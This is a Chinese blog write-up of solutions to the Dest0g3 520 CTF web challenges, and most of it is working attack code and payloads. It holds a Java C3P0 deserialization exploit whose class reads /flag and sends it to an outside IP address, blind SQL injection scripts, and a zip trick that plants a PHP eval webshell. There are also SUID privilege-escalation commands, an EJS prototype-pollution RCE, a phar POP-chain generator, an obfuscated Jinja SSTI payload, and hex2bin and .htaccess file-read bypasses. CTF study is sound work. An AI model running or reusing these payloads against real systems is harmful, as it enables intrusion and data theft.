Dest0g3 520迎新赛

Dest0g3 520迎新赛

国赛赛前康复训练(并不是很成功)
本来想水一下,没想到摸了这么多题,但是个人赛,之前没保留做题记录,只能按照回忆写一下了。。。

ljctr

pom.xml看到C3P0依赖。直接ysoserial打。本地调试可以,远程绝壁不通。然后还有一个waf.jar。完全看不懂waf在赣神魔。搜一下agent还有waf有关,直接找到rasp。又是rasp!直接mrctf那个内存马来进行绕过,没成。先分析一波C3P0。这个链子挺短,所以就没在本地细纠。(主要是因为ysoserial能打,就没咋看)。可以去搜一下别人的分析,也挺细

 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject ==>
 com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject ==>
 com.sun.jndi.rmi.registry.RegistryContext->lookup

然后直接远程加载恶意类,并执行里面的静态代码块。ysoserial使用方法:

 java -jar ysoserial-master-8eb5cbfbf6-1.jar C3P0 'http://47.96.173.116/:Exploit' |base64

然后在vps上写个恶意类。由于有waf,简单的命令执行跑不了。我想了半天,突然想到之前有个读取文件的方式可以进行绕过rasp。然后随便尝试了一下,居然能出网。然后就有思路了。想办法让它把文件内容带出来即可。贴一个最终的Exploit.class

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;

public class Exploit {
    static {
        String u = "file:///flag";
        try {
            URL url = new URL(u);
            InputStream is = url.openStream();
            InputStreamReader isr = new InputStreamReader(is);
            BufferedReader br = new BufferedReader(isr);
            StringBuilder stringBuilder = new StringBuilder();
            String line;
            while ((line = br.readLine()) != null){
                stringBuilder.append(line + '/');
            }
            String res = new String(stringBuilder);
            String u2 = "http://47.96.173.116:2333/" + res;
            URL post = new URL(u2);
            InputStream is2 = post.openStream();
        } catch (MalformedURLException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

先来一波file协议读取文件,然后再发送到服务器即可。

Really Easy SQL

没想到提示在群公告。有了黑名单就好办了。直接绕过就行,insert注入,直接闭合就行。直接贴一个python脚本:

import time
import requests

url = 'http://333929e3-c74b-4419-979c-b140d09a4b9b.node4.buuoj.cn:81/index.php'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}

result = ''
i = 1
while (1):
    left = 32
    right = 128
    while (1):
        mid = (left + right) // 2
        if left == right:
            result += chr(left)
            print(result)
            i += 1
            break
        payload = {
            "username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))>{},benchmark(1000000,md5(1)),0))||'".format(i, mid),
            "password": "123"}
        time1 = time.time()
        res = requests.post(url=url, data=payload)
        if res.status_code != 200:
            time.sleep(1)
            time1 = time.time()
            res = requests.post(url=url, data=payload)
        time2 = time.time()
        if time2 - time1 > 0.5:
            left = mid + 1
        else:
            right = mid
    if (right == 32):
        break
print('[*]Result ' + result)

easysql

没有给黑名单,发现如果有黑名单,是不执行语句的,可以用if来进行fuzz测试。然后发现上一题的payload尖括号不能用了,所以直接用等号(没了二分确实慢):

import time
import requests

url = 'http://8c0e4d08-3fa6-4fdc-99c1-1a57d112deff.node4.buuoj.cn:81/index.php'
# files = {"file": "123"}
# data = {"PHP_SESSION_UPLOAD_PROGRESS": "123"}
# cookies = {"PHPSESSID": "123"}
# list = ['union','updatexml','order','by','substr',' ','and','extractvalue',';','sleep','join','alter','handler','char','+','/','like','regexp','offset','sleep','case','&','-','hex','%0','load']

result = ''
# temp = ''
i = 1
for i in range(1, 100):
    for j in range(32, 128):
        payload = {"username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(1000000,md5(1)),0))||'".format(i, j),
                "password": "123"}
        time1 = time.time()
        res = requests.post(url=url, data=payload)
        if res.status_code != 200:
            time.sleep(1)
            time1 = time.time()
            res = requests.post(url=url, data=payload)
        time2 = time.time()
        if time2 - time1 > 0.5:
            result += chr(j)
            print(result)
            break
    if result[-1] == '}':
        break
print('[*]Result ' + result)
#"username": "a'||(if(ascii(mid((select(cmd)from(flaggg)),{},1))>{},benchmark(1000000,md5(1)),0))||'".format(i, mid),
            # "password": "123"}

ezip

网上搜关于压缩包上传的,找到一个总结https://ucasers.cn/zip%E5%9C%A8CTF-web%E6%96%B9%E5%90%91%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95/#title-9
里面有一个关于php解压漏洞的,如果压缩包其中有一个文件的文件名巨长,就会报错,但是里面的木马已经被解压了。所以直接拿那个脚本进行一波跑:

import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
    zf.writestr('1.php', b'@<?php eval($_POST[1])?>')
    zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
    f.write(mf.getvalue())

#https://ucasers.cn/zip%E5%9C%A8CTF-web%E6%96%B9%E5%90%91%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E7%94%A8%E6%B3%95/#title-9

把生成的压缩包上传,1.php直接拿shell,flag没有权限,需要提权。用蚁剑反弹shell。

find / -perm -u=s -type f 2>/dev/null

但是这个命令响应不来(会429),找常用文件夹。

find /usr -perm -u=s -type f 2>/dev/null

找到一个nl命令,直接

nl /flag

NodeSoEasy

ejs3.1.7已经修复outputFunctionName的原型链污染。然后网上搜,发现还有一个escapeFunction。居然本地能行,然后打一手。发现每次污染之后都需要重启靶机,很烦。直接贴最终payload:

{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('cat /flag');","compileDebug":true}}

PharPOP

有个throw Error很烦,整了半天,然后发现可以用数组绕过(需要把数组个数+1)。但是phar文件无法写入不合理的序列化字符串,卡了很久,直到搜到一篇讲fast destruct的文章,里面有个脚本可以直接生成这种phar。链子不难分析,写一下pop链:

tree->apple->air->tree

然后需要用原生类进行利用,可以用DirectoryIterator进行文件读取,参数用glob:///*flag*进行读取flag文件名,然后再用SplFileObject进行读取。贴个exp:

<?php
//highlight_file(__FILE__);
class air{
    public $p;

    public function __construct($a)
    {
        $this->p = $a;
    }

//    public function __set($p, $value) {
//        $p = $this->p->act;
//        echo new $p($value);
//    }
}

class tree{
    public $name;
    public $act;

    public function __construct($a, $b)
    {
        $this->name = $a;
        $this->act = $b;
    }

//    public function __destruct() {
//        return $this->name();
//    }
//    public function __call($name, $arg){
//        $arg[1] =$this->name->$name;
//
//    }
}

class apple {
    public $xxx;
    public $flag;

    public function __construct($a, $b)
    {
        $this->xxx = $a;
        $this->flag = $b;
    }

//    public function __get($flag)
//    {
//        $this->xxx->$flag = $this->flag;
//    }
}

class D {
    public $start;

    public function __construct($a)
    {
        $this->start = $a;
    }

//    public function __destruct(){
//        $data = $_POST[0];
//        if ($this->start == 'w') {
//            waf($data);
//            $filename = "/tmp/".md5(rand()).".jpg";
//            file_put_contents($filename, $data);
//            echo $filename;
//        } else if ($this->start == 'r') {
//            waf($data);
//            $f = file_get_contents($data);
//            if($f){
//                echo "It is file";
//            }
//            else{
//                echo "You can look at the others";
//            }
//        }
//    }
}

//class banana {
//    public function __get($name){
//        return $this->$name;
//    }
//}

$a = new tree(new apple(new air(new tree('a', 'SplFileObject')), '/fflaggg'), 'a');
//$c = new tree(new apple(new air(new tree('a', 'DirectoryIterator')), '/'), 'a');
$b = array($a);
//echo urlencode(serialize($b));
//$b = serialize($a);
@unlink("asd.phar.gz");
$phar=new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'__HALT_COMPILER();');
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system('gzip asd.phar');
echo urlencode(file_get_contents('asd.phar.gz'));
echo "\n";
$s = array(new D('w'));
echo urlencode(serialize($s));
//unserialize(serialize($s));
//throw new Error($s);
//echo "\n"."phar";
file_get_contents('phar://asd.phar.gz');
throw new Error('start');
//?>

<!--//fflaggg-->

写的很乱不要介意。然后把生成的phar文件弄到python脚本里面:

import hashlib

f = open("phar.phar", "rb")
data = f.read()
f.close()
length = int(data[47:51][::-1].hex(), 16)
data = data[:51 + length - 1] + b"1" + data[51 + length:len(data) - 28]
data += hashlib.sha1(data).digest()
data += b"\x02\x00\x00\x00GBMB"
f = open("asd.phar", "wb")
f.write(data)
f.close()

由于有些字符不能出现,所以再进行一次gzip压缩,上传即可:

1=a%3A2%3A%7Bi%3A0%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A5%3A%22start%22%3Bs%3A1%3A%22w%22%3B%7D%7D&0=%1F%8B%08%08T%5B%8Bb%00%03asd.phar%00s%F7t%B3%B0L%8C%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%FA%CE%C0%C0%C0%08%C4%82P%9A%81%E1+%10%27Z%19ZUgZ%19X%FB%5B%99X%29%95%14%A5%A6%2AY%19YU%17%83xy%89%B9%A9J%40%09S%2B%A5%C4%82%82%1C%98%8C%B1%95REE%05H%02%C8J%CC%2CR%02%19Q%0C%24%94%0A%94p%1B%03V%90%08%A2A%BA%92K%C0%22%40fpA%8E%5BfN%AA%7FRV%2AH%B0%B6%16%AC%27-%271%1D%A4%C2%C2JI%3F%0D%C4I%07rkQ%F4%82M%AB5%E4%00z%A2%24%B5%B8D%AF%A4%A2%84%05%C86%8B%EEN%02%D1%3Cu%F57%96%40%FC%09%96%FF%94%DD%2C%FFH%D6%9F%A1%FF%A3%3D%D7%E1%F6f%D5%8DrM%E6L%409w%27_%27%00%CCf%05%A48%01%00%00

得到文件名,phar一下即可。

middle

很明显的一个pikle反序列化,需要调用后门。可以用github的pker工具生成pikle的序列化opcode。编写1.txt:

backdoor = GLOBAL('config', 'backdoor')
backdoor(['os.popen("cat /flag").read()'])

然后运行

python3 pker.py < 1.txt

然后把生成的数据进行base64上传即可。

EasySSTI

非常多过滤,但是空格可以用%0d代替。根据文章:https://xz.aliyun.com/t/9584
的终极payload:

{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}    # globals
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

# 最后的payload如下:
{% set zero = (self|int) %}{% set one = (zero**zero)|int %}{% set two = (zero-one-one)|abs %}{% set four = (two*two)|int %}{% set five = (two*two*two)-one-one-one %}{% set three = five-one-one %}{% set nine = (two*two*two*two-five-one-one) %}{% set seven = (zero-one-one-five)|abs %}{% set space = self|string|min %}{% set point = self|float|string|min %}{% set c = dict(c=aa)|reverse|first %}{% set bfh = self|string|urlencode|first %}{% set bfhc = bfh~c %}{% set slas = bfhc%((four~seven)|int) %}{% set yin = bfhc%((three~nine)|int) %}{% set xhx = bfhc%((nine~five)|int) %}{% set right = bfhc%((four~one)|int) %}{% set left = bfhc%((four~zero)|int) %}{% set but = dict(buil=aa,tins=dd)|join %}{% set imp = dict(imp=aa,ort=dd)|join %}{% set pon = dict(po=aa,pen=dd)|join %}{% set so = dict(o=aa,s=dd)|join %}{% set ca = dict(ca=aa,t=dd)|join %}{% set flg = dict(fl=aa,ag=dd)|join %}{% set ev = dict(ev=aa,al=dd)|join %}{% set red = dict(re=aa,ad=dd)|join %}{% set bul = xhx~xhx~but~xhx~xhx %}{% set ini = dict(ini=aa,t=bb)|join %}{% set glo = dict(glo=aa,bals=bb)|join %}{% set itm = dict(ite=aa,ms=bb)|join %}{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}{% if f == bul %}{% for a,b in (v|attr(itm))() %}{% if a == ev %}{{b(pld)}}{% endif %}{% endfor %}{% endif %}{% endfor %}

把里面空格替换成%0d直接得到flag

funny_upload

直接把<?ban了,但是可以上传.htaccess,想到realworldctf可以进行任意文件读,所以直接读/flag

ErrorDocument 404 %{file:/flag}

然后访问不存在的页面即可。

SimpleRCE

很多过滤,但是没有过滤hex2bin。然后发现

hex2bin('73797374656d')(hex2bin('6c73'));//system('ls')

可以使用,直接拿下

hex2bin('73797374656d')(hex2bin('636174202f666c6167'));//system('cat /flag')

EasyPHP

明显只要报错就能出flag,post一个数组即可。

phpdest

老题,直接用php伪协议即可:

php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

EzSerial

md,用yso链子全试了,但是dnslog没有收到东西,估计靶机没有curl,太烦了,就差这一题,没想到是cc6直接反弹shell就行,犯蠢了。

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇